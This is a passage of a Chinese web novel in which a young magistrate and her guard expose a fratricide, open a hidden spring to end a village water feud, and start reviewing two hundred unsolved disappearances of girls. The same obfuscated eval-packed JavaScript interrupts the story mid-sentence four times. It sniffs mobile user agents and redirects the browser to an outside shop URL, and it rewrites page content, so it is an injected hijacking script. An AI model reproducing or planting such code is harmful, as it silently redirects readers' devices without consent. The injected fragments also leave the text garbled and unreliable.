景佑在两人独处时,不善言辞,只有在遇到他懂的专业知识时,会侃侃而谈,比如验尸。 不过,景佑对云水谣总有些润物无声的关心。云水谣心细,注意到了。 有景佑相陪,她时常感到开心。 这种开心跟家人的陪伴不一样,是一种很新奇的感觉。 云水谣发现,如果自己长时间见不到景佑,会有些失落。 自己才跟他认识半个多月,就已经有这么深的羁绊了吗?也许是缘分吧…… 云水谣看着那片银杏叶,叶片黄中带绿,非常完美,像是起舞的精灵。 这应该是精心挑选过的,而非是景佑所说的随手所得。 云水谣感受到景佑的心意,把银杏叶夹到了自己常看的书中做书签。 景佑站在窗前远眺,阳光洒在他脸上,像是镀上了一层光辉。 云水谣忽然有一种感觉,景佑本该站在高处,站在光里,俯瞰着一切。 她不知道自己为何会有这样的感觉,可能是因为景佑身上非同寻常的气质吧。 景佑虽出身草莽,但身上总有一丝卓尔不群的贵气。 云水谣问道:“景佑,你是怎么学会验尸的?” “我师父教的。他会医术,教了我一些人体结构和解剖的知识。” “那你也会医术?” “不会。我学了人体解剖知识后,师父就过世了,来不及教我别的。” 景佑的话中有淡淡的哀伤,云水谣见他回忆起伤心的往事,有些不安,便转移了话题。 “我觉得,王大虎的死也一定有蹊跷。我想去王大虎家看看,你陪我一起去?” “好。” 云水谣带着景佑来到了桃源村,向村民打听王大虎的住处。 王大虎住在村尾的半山坡处,跟其他人家相距较远。 不远处有间屋子,村民说是王小虎的家。 原来这两兄弟住得很近,之前云水谣还以为他们住得较远。 云水谣走进王大虎的家中查看。 这里是普通的民房,没有什么贵重物品,但是屋子很整洁,家具摆得也很规整,看起来很清爽。 王大虎应该是一个很会收拾屋子的人。 云水谣仔细看了看,不放过任何一个地方。 忽然,她发现了一处不寻常的地方。 云水谣发现,桌子的其中一个角崩掉了一小块,露出白色的木头。 这张桌子有些年头了,外表发黑。但若削去一个角,里面露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907762|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的木头仍是白的。 云水谣判断,这个角崩掉应该是这几天的事,不会太久。 时间长了的话,露出来的木头也会逐渐发黑的。 这间屋子里的其他家具都是完好无损的,只有桌子崩坏一个角,显得有些突兀。 云水谣忽然灵光一闪,问景佑:“你刚才说,王大虎的后脑勺有一处伤,是六个时辰前形成的,跟他膝盖的淤青形成时间一样?” “对。” 云水谣脑海中浮现出一个画面: 王大虎在家时,不知为何,后脑勺磕到了桌子,崩掉一个角。 他扶着桌子想站起身来,但因为头部被撞击,有些发晕,站立不稳,重重地跪在了地上。所以他的两个膝盖都有很深的淤青。 那么,他后脑勺的伤口、膝盖的淤青都可以解释了。 云水谣把这个猜测告诉景佑,景佑也表示赞同:“没错,只有这样,才会让他产生这几处伤口。” 但是,王大虎受这些伤,到底是自己不小心,还是另有隐情,就不知道了。 云水谣走出屋外,想看看附近有没有动物,还真被她找到几只青蛙。 她留神听着青蛙说话,青蛙们一开始讨论食物、天气等话题,好一会儿之后才说到了云水谣想听的事情。 “昨天晚上,这间屋子里死了人,吓死我了!” “我昨晚没出来,发生什么了?” “昨晚,这间屋子里传来两个人吵架的声音,我就过去看,发现有个矮个子男人把高个子男人推倒了,那高个子男人的头撞到了桌子。高个子男人想站起来,但不知道为什么没站稳,双脚跪地,然后就倒在地上死了。那矮个子男人就把他放到了床上,然后走到了旁边的屋子里,没再出来。” 云水谣听得心怦怦直跳。 死去的王大虎比较高,而他弟弟王小虎比较矮。 青蛙所说的高个子和矮个子,应该就是他们兄弟俩。 这么说,是王小虎把他哥推倒在桌子上,然后王大虎马上就死了。 青蛙们继续议论: “那高个子男人怎么这么快就死了?” “我也不知道……但我听说人类如果撞到头的话,是有可能死的。可能他撞的位置不对劲吧。” “那矮个子男人杀了人之后,为什么不逃走,反而住进了旁边的屋子啊?” “据我观察,旁边的屋子就是那矮个子男人的家。” 听到这儿,云水谣大致可以判定真相: 昨天晚上,王小虎和王大虎起了争执,王小虎就用力推了王大虎一下。他也没想到王大虎撞到头之后马上就死了,他没有逃走,反而把他大哥的尸体放好,应该是已经想好了对策——把他大哥的死推在杏花村村民的头上。 这样,他就可以讹一笔钱了。 他的思路,跟李三之妻一样。 所以,两村械斗,其实并未死人。 李三和王大虎,都是因为别的原因死的。 那杏花村村民的罪责就轻很多,这桩案子也可以从斗殴致死案,转为普通斗殴案。 不过,这些猜测还需得到证实。 她得再见王小虎一面。 5. 兄弟相争惹命案 官民齐心寻水源 景佑见云水谣一直蹲在地上看青蛙,走过来问道:“大人,您看青蛙干什么?” 云水谣神秘一笑:“因为它们可爱啊。” 景佑有些困惑,云水谣已经站了起来,往前走去,景佑赶紧跟上。 他步子虽大,但始终控制着步伐,让自己落后云水谣几步,这样才能更好地保护她。 若走到她前面,就发现不了后面的危险了。 云水谣身形纤细,但走起路来却很沉稳坚定,就像一株芦荟,看着袅娜,但枝干稳健,不会轻易被雨打风吹去。 景佑觉得,如果能时时看见这少女的背影,人生也没什么遗憾了。 他不知道自己为什么会有如此奇怪的想法,但有些思绪就像柳絮一般飘过来,在他心里生根。无所从来,亦无所去,自然而然便在那里,好像一切本该如此。 景佑的嘴角不自觉地露出了一抹微笑。 走出村子后,她们骑马回了县衙。 王大虎的弟弟王小虎还被留在这里,云水谣径直去见了他。 王小虎问道:“大人,杏花村的人赔钱了吗?我哥可是没了一条命,不赔得他们倾家荡产不算完!” 云水谣在太师椅上坐了下来,重重地一拍桌子:“大胆王小虎,竟敢捏造事实,污蔑他人!” 王小虎赶紧跪下道:“大人,您在说什么?” 云水谣发出一声冷笑,做出一副胸有成竹的样子:“刚才本官去了桃源村,询问村民。有几个村民说,他们曾经见到你昨晚跟你大哥发生争执,你还将你大哥推倒,有没有这回事?” “这……这……” 王小虎已经有些慌乱。 云水谣乘胜追击:“王小虎,你若是现在招供,还可以因自首减轻罪责。若一直不承认,等其他村民的供词一出来,你一定是个死罪!” 王小虎彻底慌了,战战兢兢地发抖,过了一会才说:“我招!我全招!” 原来,王小虎和王大虎的父母早逝,家产平分。 王小虎花钱大手大脚,很快就把家产花光了。而王大虎比较俭省,干活又卖力,有较多存款。 王小虎就经常找王大虎,希望他哥能把存款分他一半。 王大虎自然不肯,王小虎便时常与他争吵,兄弟俩的感情越来越差。 这次两村械斗,王大虎受伤较重,王小虎觉得自己的机会来了。 他给他哥做了饭,买了伤药,去他哥面前献殷勤。 他希望他哥能看到他好的一面,分点钱给他。 可是王大虎吃了饭,涂了伤药,也只是感谢了王小虎几句。 王小虎试探性地提出再分一次家产,王大虎怒不可遏,再次跟王小虎吵架,并让他马上离开。 王小虎恶向胆边生,便用力推了王大虎一下。 没想到,王大虎的头磕到了桌角,当时就有些发懵,闭着眼睛缓了好一会儿。 王小虎还以为他在装,也没搀扶他。 王大虎勉强站起来之后,站立不稳,崴了左脚,又两膝跪地,竟是站不起来。 王小虎道:“你可别讹我啊,装出这副样子给谁看?” 谁知,王大虎连话也说不出来,过了一会竟死了。 王小虎这才反应过来,他哥应该是撞到头导致的死亡。 他怕担责任,想着白天两村刚刚械斗,不如把这事推在杏花村村民头上,还能讹他们一笔钱。 因此,他就把他哥的尸体安顿在床上,装作若无其事地回到自己的家,等第二天再假装发现大哥尸体,哭天抢地地指责杏花村村民。 其他人都被他骗过了,都想为他讨个公道。 没想到,真相竟是这样。 云水谣听得又惊讶,又气愤。 “世上竟有这样的事……王小虎,你自己大手大脚将遗产花光,又想要你大哥的那一份。他不肯,你就杀了他,简直令人发指!” 王小虎哭得涕泗横流:“大人,我真的不是故意的,救救我……当时我哥撞到了桌角,我以为没事的,谁知他马上就死了……我真的没想杀他……” 自作孽,不可活。 虽然王小虎不是故意的,但过失杀人罪是免不了的。 按照律例,需没收家产并流放。 云水谣先将王小虎收监,然后询问县丞林复:“本县可有其他要流放的犯人?跟王小虎一起流放,可以省些人力。” 县里的衙役不多,流放犯人费时费力,最好是凑一堆犯人再一起流放。 林复道:“牢里暂时没有其他需要流放的犯人,不如先让王小虎待在监狱里,等攒够了人再说。” “嗯,那就这么办吧。” 云水谣又传唤了桃源村、杏花村的村长、村干部和几个村民代表过堂,宣布审案结果。 李三、王大虎两个村民的死都另有隐情,那杏花村村民也不必背上人命官司了。 只是,两村械斗毕竟都有错,云水谣申饬了两村村民,令他们以后不得再械斗,否则一律下狱。 村民们唯唯而退,想必他们近期内是不敢闹事了。 只是,水源的问题不解决,以后两个村的冲突还是免不了的。 云水谣叫两村村长带自己去两村的农田看看。 村长赶紧带路。 很快,就到了两村的农田。 两个村的田地是挨着的,都在高处,远离水源。 唯一的水源,是从远处山上流下来的泉水,但不太多。 如果一个村把泉水引流到自己村的农田,另一个村就不够了。 所以,为了这点水源,两个村才经常发生冲突。 挑水来灌溉也不是不行,但是池塘离得太远,而且农田地势又太高,长途跋涉很辛苦。 所以,村民们都想用这泉水灌溉。 云水谣道:“若是把水流过的沟渠挖宽些,是不是能引更多泉水过来?” 桃源村村长道:“源头的泉水本就不多,挖宽沟渠也无济于事。” “我去源头看看。” “大人,山路难行,您还是别去了吧。” “无妨,有景佑陪我就行。” 两个村长和几个村民代表想跟着去,云水谣阻止了。 其实她进山看水源,是想听听附近动物的话,看有没有可能发现别的水流。 她自然不能让太多人跟随,否则别人看见她一直蹲在地上观察动物,会感到奇怪。这副模样,也不太符合县官的形象。 景佑不一样,他一直跟在自己身边,熟悉自己的每一面,而且话少, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907763|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不会问东问西。 云水谣每次都说自己喜欢动物,景佑也没有起疑。 于是,云水谣带着景佑沿着水流,往深山里走。 山路果真崎岖难行,云水谣一时不察,往右边摔倒。右边有一些尖利的石头,云水谣心想,自己这下怕是要破相了。 谁知,她没有摔在石头上,反而落入一个温暖的怀抱。 是景佑接住了她。 景佑的手臂强壮有力,轻轻一托,便让云水谣直立起来。 她还没从摔倒的惊恐中反应过来,就已经没事了。 她闻到景佑身上柠檬草的清香,不觉微红了脸。 景佑却没觉察,只是关切问道:“大人,您的脚没崴到吧?” 云水谣动了动自己的脚,发现很灵活,并不疼,便笑道:“没事,还好你及时扶住我,我没受伤。” 景佑从地上捡了根树枝,把尖锐的部分削平,道:“大人,我走前面,拿着树枝,你抓住另一端。这样就不会摔倒了。” 云水谣点了点头。 景佑便走到前面去,把树枝另一端递给云水谣。 云水谣握住树枝,心中一动。虽然他们的手隔着一根树枝,但云水谣却有一种跟景佑双手交握的感觉。 她为这样的念头而感到羞赧,在心里斥责自己不该想入非非。 景佑作为她的护卫,只是履行自己的职责,不让她摔倒而已。 殊不知,景佑心中也有几分紧张。他不敢握住那少女的手,只得用树枝替代。 这些天,一种朦胧的情愫在他心中升起,他年纪已不小,知道自己为何如此。 只是,他非常克制。 云水谣是天上月,就算偶然在水中留下倒影,被他瞧见,终究也不是他能企及的。 这一生,能保护好她,景佑于愿足矣。 他在前面探路,把挡路的树枝藤蔓砍掉。若路上有绊脚石,就一脚踢开。 他要保证云水谣走的每一步,都是安全的。 而在景佑的带领下,云水谣没再摔倒。 他们很顺利地来到了泉水的源头。 这一汪泉水果真又浅又小,从石壁上一点点流出,聚集在一个凹坑里,又缓缓朝山下流去。 环顾四周,没发现什么动物。 云水谣便找了块平坦的山石坐下,道:“走得怪累的,在这儿歇会。” 景佑找了片宽大的叶子,舀了点泉水给云水谣喝。 云水谣正好渴了,便一饮而尽。 景佑看着少女的头微微扬起,脖颈呈现出优美的弧度,有几滴水珠流向脖颈处细腻的肌肤,像是羊脂白玉上凝结了露珠一般,美得像一幅画。 他也没来由的有些渴了,便跑到泉水边,把脸浸在凉爽的水里,咕噜咕噜喝了几口。 泉水将他脸上的温度降下来一些,他才觉得自己恢复了正常,站起身来。 云水谣等了一会,只等到一只野兔路过。 野兔喝了点水就跑了,也没说话。 云水谣有些失望,但还得继续等着。 过了一会,有两只鸟飞了过来,停在附近休息,叽叽喳喳地交谈。 “以前我晚上路过这里,会听见奇怪的声音。” “什么声音?” 6. 侠客挥剑扩水源 人犯披枷守村落 “不知道,像是从山壁里面传出来的,有点像打鼓的声音。” “可能是山壁里面有暗流吧。” 听闻此言,云水谣十分惊喜。 她要寻找的正是暗流,如果能把暗流引出来,水势会增加很多。 可惜,这两只鸟没再聊下去,直接飞走了。 云水谣对景佑道:“这附近有暗流,你能找找在哪里吗?” “暗流?大人怎么知道?” “我学过一些水文知识,看出来的,解释起来比较复杂。” “哦。” 景佑也没再追问,趴在石壁上听了起来。 云水谣问道:“你能听清吗?” 景佑把手指放在嘴上:“大人先别说话。” 云水谣赶紧闭嘴,不敢干扰他。 景佑全神贯注地听着,时不时用手敲敲山壁。 过了一会,他指着泉水附近的一块山壁,道:“这里面可能有暗流,但是山壁较厚,需要爆破。” “爆破会震塌其他山体吗?” “有可能。” “那……” 云水谣刚想问“那怎么办”,景佑已经提起剑,往那块山壁刺去。 只听“叮”的一声,碎石四溅,山壁竟被戳开了一个小洞。 只是这小洞太浅,仍是没有将山壁刺穿。 景佑继续刺那小洞,大概二十几次后,山壁竟被贯穿出一个小孔,有一股水流从小孔中流出,落入泉水中。泉水的流速骤然增加。 云水谣惊喜道:“这儿真有暗流!” “大人,这个小孔可再挖宽,但是那样水势过大,会令泉水漫出沟渠,没法流到农田里。您先找人将泉水的水道挖宽,我再把这小孔开大些。” “嗯。” 云水谣带着景佑出去,发现村民们还守在外面。 云水谣便说了在山里发现暗流的事,现在需要拓宽水道。 村民们都很积极,自发地把水道挖宽,半日功夫就挖好了。 景佑又回到山中去,把之前那个小孔拓宽,变成大孔。 暗流顺着大孔流出来,水势大了很多,这下足够灌溉两个村的农田了。 只是,杏花村的村长还有些欲言又止,看着云水谣,道:“云大人,可否借一步说话?” “好吧。” 云水谣带着杏花村村长来到僻静处,道:“这里四下无人,你想说什么可以说了。” “大人,现在水流虽然够用了,但我还是担心桃源村的人会截断我们村的水流,把泉水全部引入他们村。以前这样的事发生过很多次。这条溪流先流经桃源村,后流经杏花村,如果他们在半夜偷偷截流,我们防不胜防啊。” 村长的担忧也有道理,人都是贪心的,水流不足的时候会互相争抢,水流足够了,又会希望得到全部水源。 云水谣道:“那只能派人日夜看守溪流,保证无人改道和截流,保障两村的农田用水。” “可是没有人有空日夜看守啊。” 云水谣忽然想到了一个合适的人选——王小虎。 他误杀了自己的大哥,还把这人命案诬陷在杏花村头上,按律应该流放。 但王小虎怎么也算个壮劳力,流放出去可惜了。 倒不如让他以工代罚,日夜看守着这条溪流,保障两村的用水,也算是替自己赎罪了。 他也不是大奸大恶之人,只需用手镣脚铐锁住他,就不用担心他再犯事。 云水谣把这个主意跟县里的属官们商量,众人都表示赞同,称赞这是一条妙计。 云水谣把最后的判决跟王小虎说了,他也情愿一直留在家乡的农田里,看守水源,免去长途流放之苦。 因此,云水谣就叫人在两村的农田处建了个茅草屋,让王小虎住在里面。 如果有哪个村抢走了全部水源,他就要上报官府。 这样,可以避免两村械斗之事再发生。 而王小虎只能一直待在茅草屋里,不能去其他地方,作为对他的惩罚。 事情圆满解决,县里的属官们都对云水谣刮目相看,不再像之前那样轻视她。 云水谣带着丫环兰心、彩月,还有景佑,一起去酒楼吃饭。 兰心和彩月本想站着伺候,云水谣拉着她们坐下。 “私底下就别讲这么多规矩了,咱们家出了这么大的事,现在只有我们三个相依为命了。你们对我来说就像亲人一样。” 兰心和彩月也很感动,坐在云水谣身边,景佑就坐在她对面。 过了一会,菜上齐了,云水谣愉快地吃了起来。 自从来到洛县,她还没好好吃顿饭。 之前一直在忙两村械斗的事,吃饭都是扒拉两口就算了。 她以前吃饭点菜从来不看价格,但现在她已经没有家族托底,不得不量入为出,不敢点太贵的菜。 不过她并不挑食,喜欢的食物有很多,一些简单的家常菜也很对她的胃口。 她现在除了想尽快当上女相之外,还想多挣点钱。现在的存款可不够她花的。 景佑看着云水谣大快朵颐的样子,觉得她很可爱,忍不住偷偷观察。 云水谣今日没穿官服,而是穿着一身竹青色的长裙,配着月白色的褙子,头发也用一根青色的发簪束起,显得淡雅高洁,如同山中精灵。 一双小鹿般的眼睛天真无邪,又透着聪慧。如雪的脸庞在青绿色衣服的衬托下,越发莹白如玉。 等他回过神来,才发现饭菜被吃得差不多了。 他也不介意,舀了点免费的汤,拌着饭吃了。 云水谣问道:“景佑,你没吃多少啊?这些菜不合你胃口?” “不是,我不太饿,就少吃点了。” “哦。” 这时,有个十来岁的小女孩走了进来,背上背着个大篓,里面是一些新鲜蔬菜。 她应该是来给酒楼送菜的。 有个伙计出来接她,道:“四妞,今日怎么来迟了?” “今天家里的活多,我干完活才来送菜的。” “我把菜拿到厨房,你先回家吧。” 那个伙计给了四妞几个铜板,就把菜接了过去。 四妞正准备走,忽然看到了云水谣,就站住了。 云水谣笑着问道:“你在看什么?” 四妞怯生生地问道:“你是新来的县令吗?” “你怎么知道?” “我有一次看见你穿着官服走进县衙。” “你猜对了,我就是新来的云县令。” 云水谣打算拿个果子给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907764|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,谁知四妞却朝云水谣跪下:“县令大人,求您救救我二姐!” 云水谣赶紧扶她起来,问道:“怎么回事?” “大人,我二姐失踪已经好几年了,之前报官了,可官府说找不着,这些年就一直没消息了。我一直想找她,可是我爹娘并不在意,反而说我多事。我想去外地找她,可是又没有钱。县令大人,求您帮忙找找我二姐吧!” “我先带你回县衙登记。你二姐叫什么名字,长得什么模样,怎么失踪的,细细告诉我。” 云水谣带着四妞坐上马车,往县衙方向去。 在马车上,四妞把详细情况说了。 她二姐叫徐二妞,今年十四岁,是五年前失踪的。 徐二妞长得跟四妞差不多,都是瓜子脸、塌鼻梁,两边脸颊上有雀斑,头发微黄。 她失踪那天,是一大早起来去河边洗衣服,可是一直不见回来。 家里人去找,只发现两盆衣服,人却不见了。遍寻全村不得,家人便报了官。 官府调查了几日,没发现什么线索,渐渐的也就顾不上这件事了。 官员们事务冗杂,像这种普通的人口失踪案,不算特别紧急,他们不会调动全部力量去找。 刚出事时找不到,以后就更找不到了,只能不了了之。 徐二妞的父母一开始还有些着急,但见寻女无望,慢慢的也就放下了。 他们有些重男轻女,儿子没走丢,女儿又不止一个,家里孩子又多,走失一个女儿实在算不上什么大事。 只有四妞惦记着自己的二姐,这么多年一直没放弃。 可是她只是个小孩,没什么办法。 现在当面见到县令,她病急乱投医,求到了云水谣这里。 云水谣很同情,决定帮她找找。 只是,徐二妞失踪太久,只怕线索不好找。 很快,她们回到了县衙。 县丞林复在这里,迎了出来。 云水谣就跟他说了徐二妞的事,让他带四妞去做个笔录。 林复道:“徐二妞失踪案已有卷宗,无需再次登记了。可叫这小姑娘先回去,我带大人去看看卷宗。” “也好。” 云水谣便叫兰心送四妞回家。 接着,她跟林复来到了资料库。 本县的卷宗是按照事情分门别类的,失踪案全都放在一处。 林复走到一个书架前,道:“大人,徐二妞失踪案就放在这儿,不过案卷太多,需要仔细找找。我叫几个小吏进来帮忙。” “好。” 林复走出去找人,云水谣就随便看了看。 她发现失踪案的卷宗挺多的,但新旧不一。 有的卷宗没什么灰尘,有的卷宗已经有霉味了,上面也积了厚厚的灰。 她随手拿出一个卷宗翻看,发现上面记载的是一个叫白小草的女孩的失踪案。 白小草的失踪,也跟徐二妞差不多,她是独自一人上山砍柴的时候不见的,柴刀遗留在山上,人却无影无踪。 白小草失踪的时候八岁,距今已过十年。如果还活着,她应该有十八岁了。 云水谣又翻看了一些卷宗,发现案件都挺类似的,基本上都是农村的小女孩失踪,事发时四下无人,找了一阵都找不着。 7. 数百案件同存疑 三五下属齐阻拦 过了一会,林复带着几个小吏进来,让他们找徐二妞的案卷。 云水谣问道:“刚才我随手翻看案卷,发现像徐二妞这样失踪的小女孩特别多,这是怎么回事?难道本县只有小女孩被拐,没有其他人失踪?” 林复道:“失踪案不少,什么年龄段的都有。只是已经破案的、找到人的卷宗,是放在别处的,这里放的都是没破案的卷宗,而且是近二十年累计的。像徐二妞失踪案这样的案子,大约有二百来起,平均每年也就十来起,而且失踪者分散各处,并不集中。 “本县人口数十万,这样的失踪比例已经是很小了。” “原来是这样。” 云水谣刚才看着卷宗一大堆,本以为本县的人口失踪案太过猖獗,官府竟然不管,没想到这些卷宗是二十年累计起来的,平均每年失踪的小女孩也就十来个,而且不是同一个地方的,难怪没有引起重视。 虽然这些小女孩看似毫无关联,也不是同一时间失踪,云水谣隐隐觉得这背后可能有什么联系,是她现在想不到的。 因此,她吩咐小吏:“你们别只找徐二妞的案卷了,凡是跟徐二妞类似的案卷,全都拣出来,堆在一处,我想一起看看。” 林复道:“大人,您想同时破这么多案子?只怕精力不足吧?既然今日徐二妞的妹妹来报案,您不如先管徐二妞这一宗?” “不,我隐隐有一种感觉……这些案子看着很多,但其实是同一件案子。” “这是何意?” “林公,你不觉得很蹊跷吗?二十年来,所有被拐走的小女孩,都找不到了。就算官府精力有限,也不至于一个案子都破不了吧?” “倒也不是全找不到,有些女孩失踪案还是破了的。” “那些女孩是为何失踪?又是如何找到的?” “有自己走失的,有自己跑到外地亲戚家的,有被村里的光棍藏起来的……去向很多,难以一一列举。” “虽然如此,我总觉得这些没找到的女孩,背后可能有某种关联。总之,我需要把这些卷宗都看一遍。” 大约两个时辰后,小吏们按照云水谣的要求,把类似的女孩失踪案全部放在了一处,徐二妞的案卷也找了出来。 云水谣让小吏们离开,自己待在资料库里,准备阅卷。 小吏们是按照时间顺序整理的,最早的一起女孩失踪案,发生在二十年前的圆石村。 云水谣先看这一起案子。 二十年前,圆石村失踪的女孩叫王杜娟,失踪时6岁,现在如果活着,应该二十六了。 她是在一个夏天的午后失踪的。 当时天气炎热,农民们都是清晨起来干农活,干完就回家午睡。 所以中午时分,大人都在家里休息,只有小孩会到处乱跑,王杜娟就是其中之一。 她出去玩,再也没回家。父母报了官,没找到她人,也就算了。 看完了这个后,云水谣又按照时间顺序,看其他人的卷宗。 半天之后,她终于看完了全部卷宗,累得脖子都僵硬了。 她发现失踪者有一些共同特点:都是未满十岁的农村女孩,家里都有很多孩子,属于爹不疼娘不爱的那种。而且,她们的失踪都找不到什么蛛丝马迹,就像凭空消失了一般,这也是官府破案难的原因。 这两百多女孩里,没有一个是富商、官吏或世家之女。 云水谣觉得,掳走她们的人,一定不是临时起意,而是有预谋、有手段的。 幕后黑手知道普通百姓没有能力找到自己失踪的孩子,普通人家丢失女儿也造不成多大的影响,方便幕后之人隐匿自己。 他们掳走这么多孩子,一定是有用的。但具体用这些孩子来干什么,云水谣却猜不透。 有什么事情,需要连续二十年拐走年幼女童去做? 如果是人贩子团伙,一来不至于每年只拐走十来个人,二来也不太可能二十年了都没被抓到。 云水谣暂时没想明白,但她知道一切诡异的事情必定有原因。 她决定重新调查这些案子,尽管可能困难重重,一无所获,尽管连她们的父母也忘了她们。 但是,万一她们还在某个暗无天日的地方受苦,万一自己能通过努力解救她们,那对她们来说,对云水谣来说,都将是非常重要的。 云水谣走出资料室,发现天已经黑了,其他人都下值了,衙门里静悄悄的。 几只乌鸦从树上飞起来,摇落了许多树叶。 云水谣忽然发现,衙门口有个人抱着剑靠墙站着,似乎在等人。 她走了过去,发现是景佑。 景佑看见她,虽然眼神还是一如既往的淡漠,但云水谣分明觉得,他的眼神有了一丝变化,就像是坚冰开始融化,春雪开始消融。 那是一种说不出的感觉。 云水谣喜欢看景佑的眼睛,别人觉得景佑总是板着一张脸,云水谣却能从他脸上看到细微的变化。 她不知道是不是自己想多了,但她的直觉告诉她,景佑的心情是会随着她的变化而变化的。 她笑着对景佑道:“你是来接我的?” 景佑点头:“兰心和彩月担心你,想来接你。我看天色已晚,就自己来了。” 云水谣突然想问一句——“那你呢?你担心我吗?” 但是,她还是没好意思问出口。 景佑牵来一匹马,让云水谣坐在马上,他在一边牵着。 云水谣在马上伸了个懒腰。 景佑问道:“你累了?” “对,看了半天的卷宗,脖子疼。” “哪里疼?” “这里……这里,还有这里。” 云水谣指着自己酸痛的地方。 没想到,景佑伸手替她按了按肩颈处的穴位。 景佑手长,即便云水谣坐在马上,景佑还是能够到。 他按的地方刚好是云水谣的酸痛点,云水谣只觉得畅快极了,忍不住道:“多按一下。” “好。” 景佑的手很有力道,但又恰到好处,不会伤了云水谣。 过了一会,云水谣觉得肩膀轻松多了,这才微红着脸,道:“我不酸了,谢谢你。” 景佑收回了手,似乎露出了一个微笑。 在月光下,他们的影子被拉得长长的,交叠在一起。 马蹄声“哒哒”地响着,街道阒静无人,云水谣甚至能听见自己的心跳声。 此刻她的心安静极了,就像一泓平静的湖水,可水面上又泛起小小涟漪,一圈圈荡漾开去。 她也不知道这些涟漪从何而来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907765|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但她很享受这种莫名的悸动。 她看着景佑修长的背影,开口道:“明天我想去一个地方。” “去哪里?” “圆石村。” 景佑回头:“圆石村在哪里?为何要去?” 景佑的眸子在月光下闪着清辉,就像是夜明珠骤然照亮了幽深的洞穴,云水谣冷不防心跳得很快,忘了回答。 景佑又问:“大人怎么想去圆石村了?” “哦,我……是这样,我看了资料库的卷宗,发现这二十年来不停地有农村女孩失踪,累计有两百余起,都未破案。第一起失踪案是二十年前在圆石村发生的,所以我明天想去看看。” “那我陪大人去。” “好……” 云水谣觉得自己的脸有些发烫,不禁在心中暗暗责怪自己。 自己跟景佑又不是第一天认识,已经很熟悉了,为何每次见到他都产生这种异样的感觉?看来心理素质还是不行,得多历练。 她故意低头,不去看景佑。可她能听见景佑的脚步声,看见他的影子,景佑的脸又浮现在她心里。 为了平复心绪,云水谣问道:“景佑,你在我身边,可有感到拘束?你以前是侠客,想必比现在自由很多吧?” “我觉得待在这儿挺好的,又轻松,又有工钱,还可以躲避江湖上的风险。” “可是,像你这种年轻人,不都喜欢五湖四海到处跑吗?” “安定下来也不错,我不是那种闲不下来的性子。以前闯荡江湖,也只是随性而为,有时候也会在一个地方待很长时间。” 云水谣见景佑并不拘束,也放下心来。 她生怕景佑因救命之恩留在自己身边,其实内心并不快乐。 不过现在她没有这样的担忧了,景佑看着是随遇而安的那类人,就让他一直待在自己身边,也挺好的。 过了一会,二人到了住处。 云水谣下马,走进房间,两个丫环已经准备好洗漱的东西等着她了。 景佑看着窗户上倒映出来的云水谣的人影,澄澈的眸子中闪过一丝眷恋。 刚才云水谣问他是否感到拘束,他生怕云水谣让他走。 还好,他不必走,云水谣还愿意留着他在身边。 第二天,云水谣醒来,稍微收拾一番,便准备往圆石村去。 她今天穿了一件霁色的圆领袍,翻开的领口处绣着山茶花,头上梳着丛髻,戴着品绿色的发饰,整个人看起来就像是从雨后的蓝天中走下来的仙女。 景佑走到她身边时,眼中闪过几分惊艳。 她今天打算带景佑一起去,不过要先去县衙跟属官们说一声,否则下属要找她时找不到就麻烦了。 来到县衙后,云水谣说了自己今天的打算,可是好几个属官都反对。 “大人,这些失踪案都是陈年卷宗,当年都找不到,您现在更加找不到了,何必徒费心思?” “是啊,县衙繁忙,每天都有人来告状,您还是集中精力处理眼前的政务更好。” “大人,监察御史即将来洛县视察,您应该早做准备,以免到时候应对失当。每个县都有一些解决不了的陈年旧案,监察御史不会太过计较。但若是您为了这些没有希望的旧案,耽误了眼前的政务,御史肯定会参您一本。” 8. 案件久远空问讯 乌龟年幼枉费心 “在本官来之前,县内大事是县丞林复负责,这几日也仍然让林公主事吧。至于监察御史到来,到时候本官会请林公从旁协助应对,想来没什么问题。 